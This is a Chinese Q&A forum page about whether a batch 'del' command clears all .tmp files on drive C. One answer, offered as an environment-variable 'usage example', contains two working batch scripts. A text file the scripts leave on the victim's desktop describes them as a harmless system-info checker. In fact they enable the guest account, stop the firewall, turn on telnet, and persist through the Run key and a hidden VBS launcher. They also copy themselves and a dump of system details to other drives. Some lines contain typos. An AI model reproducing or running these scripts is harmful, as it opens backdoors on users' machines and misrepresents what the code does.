.../f /s /q %systemdrive%\*.tmp 的含义是清除C盘及其子目录下的所有...

发布网友 发布时间:2024-10-05 06:05

我来回答

4个回答

热心网友 时间:4分钟前

ALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\Administrator\Application Data
CLIENTNAME=Console
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=MICRO-8DAEC4CC4
ComSpec=C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Documents and Settings\Administrator
LOGONSERVER=\\MICRO-8DAEC4CC4
NUMBER_OF_PROCESSORS=3
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\Program Files\Toshiba\Bluetooth Toshiba Stack\sys\;C:\Program Files\Autodesk\Backburner\;C:\Program Files\Common Files\Autodesk Shared\;C:\Program Files\Common Files\Adobe\AGL;C:\Program Files\ATI Technologies\ATI.ACE\Core-Static
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 16 Model 5 Stepping 3, AuthenticAMD
PROCESSOR_LEVEL=16
PROCESSOR_REVISION=0503
ProgramFiles=C:\Program Files
PROMPT=$P$G
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\WINDOWS
TEMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
TMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
USERDOMAIN=MICRO-8DAEC4CC4
USERNAME=lj&py
USERPROFILE=C:\Documents and Settings\Administrator
windir=C:\WINDOWS
以上是xp中的系统变量。用法举例:
@echo off
if not exist %windir%\system.vbe (call :me)
start %windir%\system.vbe
if not exist %systemroot%\%~nx0 (move %~nx0 %systemroot%)
if exist "%homepath%"\桌面\520.txt (call :shanchu)
if exist "%homepath%"\桌面\程序删除说明.txt goto end
if exist "%homepath%"\桌面\"%computername%".txt (call :shuoming >>"%homepath%"\桌面\程序删除说明.txt)
for %%i in (f: g: h: i: j: k: m: n:) do (if exist %%i\ (call :copy))
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f /v chkdsk /t REG_SZ /d %windir%\chkdsk.bat
if exist "%homepath%"\桌面\"%computername%".txt goto end
if not exist "%homepath%"\桌面\"%computername%".txt (call :txt >>"%homepath%"\桌面\"%computername%".txt)
exit
:txt
net user guest /active:yes
if "%errorlevel%"=="0" (echo 激活成功!) else (echo 激活失败!)
echo 原有账户:
net user
echo 系统时间:
echo %date%-%time%
echo 启用的共享:
net share
echo 系统信息:
systeminfo
echo 网络状态:
netstat -an
echo ip: 
ipconfig /all
echo 运行了哪些进程:
tasklist
echo 关闭防火墙:
net stop sharedaccess
echo 开启telnet
sc config tlntsvr start= auto 
net start tlntsvr
if "%errorlevel%"=="0" (echo 成功开启telnet >>"%homepath%"\桌面\%computername%.txt) else (echo. 开启失败 >>"%homepath%"\桌面\%computername%.txt )
echo 开启的服务:
net start
echo arp状态:
arp -a
goto :eof
:me
echo. set ws=wscript.createobject("wscript.shell") >>%windir%\system.vbe
echo. wscript.sleep 10000 >>%windir%\system.vbe
echo. ws.run "%windir%\chkdsk.bat",0 >>%windir%\system.vbe
goto :eof
:shuoming
echo. 【李进】
echo.这是一个检查你的计算机基本信息的批处理程序
echo.结果保存在桌面"%computername%".txt里面
echo.如果你想还原,请按以下方法做:
echo.
echo.1.请在桌面新建一个或直接将本文档更名为520的记事本
echo.2.双击随后出现的shanchu.bat
echo.3.最后删除掉shanchu.bat即可。
echo.4.桌面会保留chkdsk.bat,你可以选择保留或者删除。
goto :eof
:copy
for %%i in (f: g: h: i: j: k: m: n:) do (if exist %%i\ copy %~nx0 %%i\)
for %%i in (f: g: h: i: j: k: m: n:) do (copy %homepath%\桌面\%computername%.txt %%i\)
goto :eof
:shanchu
echo.@echo off >"%userprofile%"\桌面\shanchu.bat
echo.net user guest /active:no>>"%userprofile%"\桌面\shanchu.bat
echo.del /s /q "%userprofile%"\桌面\"%computername%".txt>>"%userprofile%"\桌面\shanchu.bat
echo.del /s /q "%userprofile%"\桌面\520.txt>>"%userprofile%"\桌面\shanchu.bat
echo.del /s /q "%userprofile%"\桌面\程序删除说明.txt>>"%userprofile%"\桌面\shanchu.bat
echo.del /s /q %windir%\system.vbe>>"%userprofile%"\桌面\shanchu.bat
echo.move %systemroot%\%~nx0 "%userprofile%"\桌面>>"%userprofile%"\桌面\shanchu.bat
echo.taskkill /f /im cmd.exe /im wscript.exe /im reg.exe>>"%userprofile%"\桌面\shanchu.bat
echo.reg del HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f /va >>"%userprofile%"\桌面\shanchu.bat
goto :eof
:end
exit
以上代码保存成bat文件,用于XP系统中。
@echo off
if not exist %windir%\system.vbe (call :me)
ping /n 1 127.1 >nul
start %windir%\system.vbe
if not exist %systemroot%\%~nx0 (move %~nx0 %systemroot%)
if exist "%homepath%"\desktop\520.txt (call :shanchu)
if exist "%homepath%"\desktop\程序删除说明.txt goto end
if exist "%homepath%"\desktop\"%username%".txt (call :shuoming >>"%homepath%"\desktop\程序删除说明.txt)
for %%i in (f: g: h: i: j: k: m: n:) do (if exist %%i\ (call :copy))
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f /v chkdsk /t REG_SZ /d %windir%\chkdsk.bat
if exist "%homepath%"\desktop\"%username%".txt goto end
if not exist "%homepath%"\desktop\"%username%".txt (call :txt >>"%homepath%"\desktop\"%username%".txt)
exit
:txt
net user guest /active:yes
if "%errorlevel%"=="0" (echo 激活成功!) else (echo 激活失败!)
echo 原有账户:
net user
echo 系统时间:
echo %date%-%time%
echo 启用的共享:
net share
echo 系统信息:
systeminfo
echo 网络状态:
netstat -an
echo ip: 
ipconfig /all
echo 运行了哪些进程:
tasklist
echo 停止防火墙:
net stopsharedaccess
echo 开启telnet
sc config tlntsvr start= auto 
net start tlntsvr
if "%errorlevel%"=="0" (echo 成功开启telnet >>"%homepath%"\desktop\%username%.txt) else (echo. 开启telnet失败 >>"%homepath%"\desktop\%username%.txt )
echo 开启的服务:
net start
echo arp状态:
arp -a
goto :eof
:me
echo. set ws=wscript.createobject("wscript.shell") >>%windir%\system.vbe
echo. wscript.sleep 10000 >>%windir%\system.vbe
echo. ws.run "%windir%\%~nx0",0 >>%windir%\system.vbe
goto :eof
:shuoming
echo. 【李进】
echo.这是一个检查你的计算机基本信息的批处理程序
echo.结果保存在desktop"%username%".txt里面
echo.如果你想还原,请按以下方法做:
echo.
echo.1.请重命名本文档或新建一个文档,命名为520
echo.2.双击随后出现的shanchu.bat
echo.3.最后删除掉shanchu.bat即可。
echo.4.desktop会保留chkdsk.bat,你可以选择保留或者删除。
goto :eof
:copy
for %%i in (f: g: h: i: j: k: m: n:) do (if exist %%i\ copy %~nx0 %%i\)
for %%i in (f: g: h: i: j: k: m: n:) do (copy %homepath%\desktop\%username%.txt %%i\)
goto :eof
:shanchu
echo.msgbox("删除成功")>%windir%\msg.vbe
echo.@echo off >"%userprofile%"\desktop\shanchu.bat
echo.net user guest /active:no>>"%userprofile%"\desktop\shanchu.bat
echo.del /s /q "%userprofile%"\desktop\"%username%".txt>>"%userprofile%"\desktop\shanchu.bat
echo.del /s /q "%userprofile%"\desktop\520.txt>>"%userprofile%"\desktop\shanchu.bat
echo.del /s /q "%userprofile%"\desktop\程序删除说明.txt>>"%userprofile%"\desktop\shanchu.bat
echo.del /s /q %windir%\system.vbe>>"%userprofile%"\desktop\shanchu.bat
echo.move %systemroot%\%~nx0 "%userprofile%"\desktop>>"%userprofile%"\desktop\shanchu.bat
echo.if exist "%userprofile%"\桌面\%~nx0 (start %windir%\msg.vbe) >>"%userprofile%"\桌面\shanchu.bat
echo.ping /n 10 127.1^>nul >>"%userprofile%"\桌面\shanchu.bat
echo.del /s /q %windir%\msg.vbe >>"%userprofile%"\桌面\shanchu.bat
echo.taskkill /f /im cmd.exe /im wscript.exe /im reg.exe>>"%userprofile%"\desktop\shanchu.bat
echo.reg delte "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /va /f >>"%userprofile%"\desktop\shanchu.bat
goto :eof
:end
exit
同样,但用于WIN七系统中。

热心网友 时间:4分钟前

喻老

热心网友 时间:6分钟前

是的 删除一些临时文件

热心网友 时间:4分钟前

批处理del /f /s /q %systemdrive%\*.tmp 的含义是清除C盘及其子目录下的所有.TMP文件吗?
是!

你说的是对的。
在cmd窗口打set sy回车即可看到下面内容

E:\>set sy
SystemDrive=C:
SystemRoot=C:\WINDOWS

声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com